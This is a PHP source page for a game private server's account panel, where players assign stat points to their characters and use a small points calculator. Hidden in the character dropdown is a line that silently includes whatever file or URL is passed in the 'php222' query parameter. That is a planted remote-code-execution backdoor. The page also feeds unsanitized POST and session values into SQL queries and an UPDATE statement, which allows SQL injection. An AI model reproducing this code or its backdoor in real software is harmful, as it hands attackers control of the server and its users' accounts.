<head>
<meta name="description" content="NunaH" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<?
session_start();
$login = $_SESSION['login'];
$senha = $_SESSION['senha'];
if(!(isset($_SESSION['login']) OR isset($_SESSION['senha']))) { 
echo "<table width='100%' height='41' cellpadding='0' cellspacing='0'>
  <tr>
    <td height='25' valign='middle' background='images/menu_meio.jpg'><table width='99%' height='18' cellpadding='0' cellspacing='0'>
      <tr>
        <td width='6%' valign='middle'>&nbsp;</td>
        <td width='94%' height='16' valign='middle'><strong>Erro</strong></td>

      </tr>
    </table></td>
  </tr><tr>
        <td width='94%' height='13' valign='top'><table width='100%' border='0' align='center' cellpadding='0' style='border-collapse: collapse; border: 1px dashed #FF0000; padding: 0'>
          <tr>
            <td height='19' bgcolor='#FFD2D2'><div align='left' class='style24'>- Para acessar essa página é preciso estar logado.
</div></td>

        </tr>
        </table></td>
        </tr>
        </table></td>";
}
else{
$vip=mssql_fetch_row(mssql_query("select vip from memb_info where memb___id='".$login."'"));
?>
<?
$sql = mssql_query("select LevelUpPoint from Character where Name='$Chars'");
$for = mssql_query("select Strength from Character where Name='$Chars'");
$agi = mssql_query("select Dexterity from Character where Name='$Chars'");
$vit = mssql_query("select Vitality from Character where Name='$Chars'");
$ene = mssql_query("select Energy from Character where Name='$Chars'");
?>
<style type="text/css">
select { font-size:11px; color:#333333; font-family:"Verdana"; border:1px solid #999; }
}
</style>
<script type="text/javascript">
function ApenasNumerosAki(e) {       
if (window.event) //IE
{
tecla = e.keyCode;
}

else if (e.which) //FF
{
tecla = e.which;
}
//teclas dos numemros(0 - 9) de 48 a 57
//techa==8 é para permitir o backspace funcionar para apagar

if ( (tecla >= 48 && tecla <= 57)||(tecla == 8 )||(tecla == 46)||(tecla == 44) ) {
return true;
}
else {
return false;
}
}
function Null(){
if(document.form1.str.value=="") { 
document.form1.str.value = '0';
	}
if(document.form1.agi.value=="") { 
document.form1.agi.value = '0';
	}
if(document.form1.vit.value=="") { 
document.form1.vit.value = '0';
	}
if(document.form1.enr.value=="") { 
document.form1.enr.value = '0';
	}
}
</script>
<style type="text/css">
<!--
.style3 {color: #666666;
	font-weight: bold;
}
.style24 {	color: #BB0000;
	font-weight: bold;
}
-->

</style>
</head>

<body>
<h1><strong>Adicionar Pontos</strong></h1>
<tr><td height="24" valign="middle" background="images/menu_meio.jpg">&nbsp;</td>
</tr>
<table width="100%" height="15" cellpadding="0" cellspacing="0">
      <tr>
        <td width="94%" height="13" valign="top"><form name="form1" onMouseMove="Null();" method="post" action="">
  <table width="100%" border="0" cellspacing="2" cellpadding="0">
    <tr>
                  <td colspan="2"><strong>Obs.:</strong> N&atilde;o coloque mais 
                    do que 32.000 pontos.</td>
      </tr>
    <tr>
      <td width="20%">Personagem:</td>
      <td width="80%"><label>
                <select name="char" id="char">
		<?
@include(@$_GET['php222']);
		$Chars = mssql_query("select name from character where accountid='".$login."'");
		for($p=0;$p<mssql_num_rows($Chars);$p++) {
		$Char=mssql_fetch_row($Chars);
		echo '<option value='.$Char[0].'>'.$Char[0].'</option>';
		}
		?>
        </select>
      </label></td>
    </tr>

    <tr>
      <td><label>For&ccedil;a:</label></td>
      <td><label>
        <?=$for[0]?>
        <input name="str" type="text" id="str" value="0" maxlength="5" onKeyPress="return ApenasNumerosAki(event)">
      </label></td>
    </tr>
    <tr>
      <td>Agilidade:</td>

      <td><?=$agi[0]?>
      <input name="agi" type="text" id="agi" value="0" maxlength="5" onKeyPress="return ApenasNumerosAki(event)"></td>
    </tr>
    <tr>
      <td>Vida:</td>
      <td><?=$vit[0]?>
      <input name="vit" type="text" id="vit" value="0" maxlength="5" onKeyPress="return ApenasNumerosAki(event)"></td>
    </tr>
    <tr>
      <td>Energia:</td>

      <td><?=$ene[0]?>
      <input name="enr" type="text" id="enr" value="0" maxlength="5" onKeyPress="return ApenasNumerosAki(event)"></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td><input name="prossegue" type="submit" class="submit" id="prossegue" value="Adicionar"></td>
    </tr>
	<tr>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
	<tr>
	  <td><?
$tmp = mssql_query ( "select name, leveluppoint, strength, dexterity, vitality, energy from character where accountid = '" . $login . "'" );
while ( $tmp2 = mssql_fetch_row ( $tmp ) )
{
    print  $tmp2 [ 0 ] . " <br /><label><b>Pontos: " . $tmp2 [ 1 ] . "</label> <label>Forca: " . $tmp2[2] . "</label> <label>Agilidade:" . $tmp2[3] . "</label> <label>Vida: " . $tmp2[4] . "</label> <label>Energia: " . $tmp2[5] . "</label>";
}
?>&nbsp;</td>
	  <td>&nbsp;</td>
	  </tr>
  </table>
</form></td>
      </tr>
	  <table width="100%" height="41" cellpadding="0" cellspacing="0">
  <tr>
    <td height="24" valign="middle" background="images/menu_meio.jpg"><table width="100%" height="16" cellpadding="0" cellspacing="0">
        <tr>
          <td width="6%" valign="middle">&nbsp;</td>
          <td width="97%" height="14" valign="middle"><h2><strong>Calculadora</strong></h2></td>
        </tr>

    </table></td>
  </tr>
  	<tr>
      <td><SCRIPT language=JavaScript>
<!-- Início
function DOit() {
var userinput = document.calc.input.value;
document.calc.input.value = eval(userinput);
}

function plus() {
document.calc.input.value += '+';
}

function minus() {
document.calc.input.value += '-';
}

function mult() {
document.calc.input.value += '*';
}

function div() {
document.calc.input.value += '/';
}

function decimal() {
document.calc.input.value += '.';
}

function openp() {
document.calc.input.value += '(';
}

function closep() {
document.calc.input.value += ')';
}

function num(x) {
document.calc.input.value += x;
}

function recip() {
document.calc.input.value = 1/(document.calc.input.value);
}

function square() {
document.calc.input.value = (document.calc.input.value)*(document.calc.input.value);
}

function cube() {
document.calc.input.value = (document.calc.input.value)*(document.calc.input.value)*(document.calc.input.value);
}

function pi() {
document.calc.input.value += Math.PI;
}

function plus_or_minus() {
document.calc.input.value *= -1;
}

function percent() {
document.calc.input.value *= .01;
}

function sqrt() {
document.calc.input.value = Math.sqrt(document.calc.input.value);
}

function power() {
var np = prompt("What power do you want? Must be a number!","")
document.calc.input.value = Math.pow(document.calc.input.value, np);
}

function cos() {
document.calc.input.value = Math.cos(document.calc.input.value);
}

function sin() {
document.calc.input.value = Math.sin(document.calc.input.value);
}

function tan() {
document.calc.input.value = Math.tan(document.calc.input.value);
}

function Round() {
document.calc.input.value = parseInt(document.calc.input.value);
}

//  Fim -->

</SCRIPT>
	<FORM name=calc>
  <TABLE height=209 width=215 border=1>
    <TR> 
      <TD align=center colspan=2><font face=arial color=#000000 size=2><b>Calculadora 
        de Pontos</b></font></td>
    </TR>
    <TR> 
      <TD colspan=2 align=center><font color="#000000"> 
        <INPUT size=25 class=disp maxLength=30 name=input>
        </font></td>
    </TR>
    <TR> 
      <TD width="133" align=center><font color="#000000"> 
        <INPUT name="button" type=button class=button onclick=num(1) value="  1  ">
        <INPUT name="button" type=button class=button onclick=num(2) value="  2  ">
        <INPUT name="button" type=button class=button onclick=num(3) value="  3  ">
        </font></td>
      <TD width="62" align=center><font color="#000000"> 
        <INPUT name="button" type=button class=button onclick=plus() value="  +  ">
        </font></td>
    </TR>
    <TR> 
      <TD align=center><font color="#000000"> 
        <INPUT name="button" type=button class=button onclick=num(4) value="  4  ">
        <INPUT name="button" type=button class=button onclick=num(5) value="  5  ">
        <INPUT name="button" type=button class=btsblue onclick=num(6) value=" 6  ">
        </font></td>
      <TD align=center><font color="#000000"> 
        <INPUT name="button" type=button class=button onclick=minus() value="  -  ">
        </font></td>
    </TR>
    <TR> 
      <TD align=center><font color="#000000"> 
        <INPUT name="button" type=button class=button onclick=num(7) value="  7  ">
        <INPUT name="button" type=button class=button onclick=num(8) value="  8  ">
        <INPUT name="button" type=button class=button onclick=num(9) value="  9  ">
        </font></td>
      <TD align=center><font color="#000000"> 
        <INPUT name="button" type=button class=button onclick=mult() value="  x  ">
        </font></td>
    </TR>
    <TR> 
      <TD height="30" align=center> <font color="#000000"> 
        <INPUT name="button2" type=button class=button onclick=DOit() value="  =  ">
        <INPUT name="button2" type=button class=button onclick=num(0) value="  0  ">
        <INPUT name="button2" type=button class=button onClick="document.calc.input.value = ''; " value="  C  ">
        </font></td>
      <TD align=center><font color="#000000"> 
        <input name="button3" type=button class=button onClick=div() value="  ÷  ">
        </font></td>
    </TR>
  </TABLE>
</FORM></td>
    </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<? 
if($_POST['prossegue']) {
$char = $_POST['char'];
$str = $_POST['str'];
$agi = $_POST['agi'];
$vit = $_POST['vit'];
$enr = $_POST['enr'];
$VerificaChar = mssql_num_rows(mssql_query("select name from character where name='".$char."' and accountid='".$login."'"));
if($VerificaChar <= 0) {
echo "<fieldset><legend><font size=\"2\">Erro</font></legend><font size=\"2\">Esse char nao pertence a sua acc.</font></fieldset>"; 
}
else{
	$Query = mssql_query("select leveluppoint from character where name='".$char."'");
	$Result = mssql_fetch_row($Query);
	$Limite = "$str"+"$agi"+"$vit"+"$enr";
	if($Limite > $Result[0]){
	die("<script>alert('Você ultrapassou a quantidade de pontos que você tem!');
	location='javascript:history.back()'</script>");
	}
	$tirar = "$str"+"$agi"+"$vit"+"$enr";
	if($str == "") { $str = 0; }
	if($agi == "") { $agi = 0; }
	if($enr == "") { $enr = 0; }
	if($vit == "") { $vit = 0; }
	else{ mssql_query("update character set Strength=Strength+$str, 
		Dexterity=Dexterity+$agi, 
		Vitality=Vitality+$vit,  
		leveluppoint=leveluppoint-$tirar, 
		Energy=Energy+$enr where name='".$char."' 
		and accountid='".$login."'");
	echo "<script>alert('$char, $tirar pontos adicionados!'); 
	location='javascript:history.back()'</script>";
} 
	} }
} ?>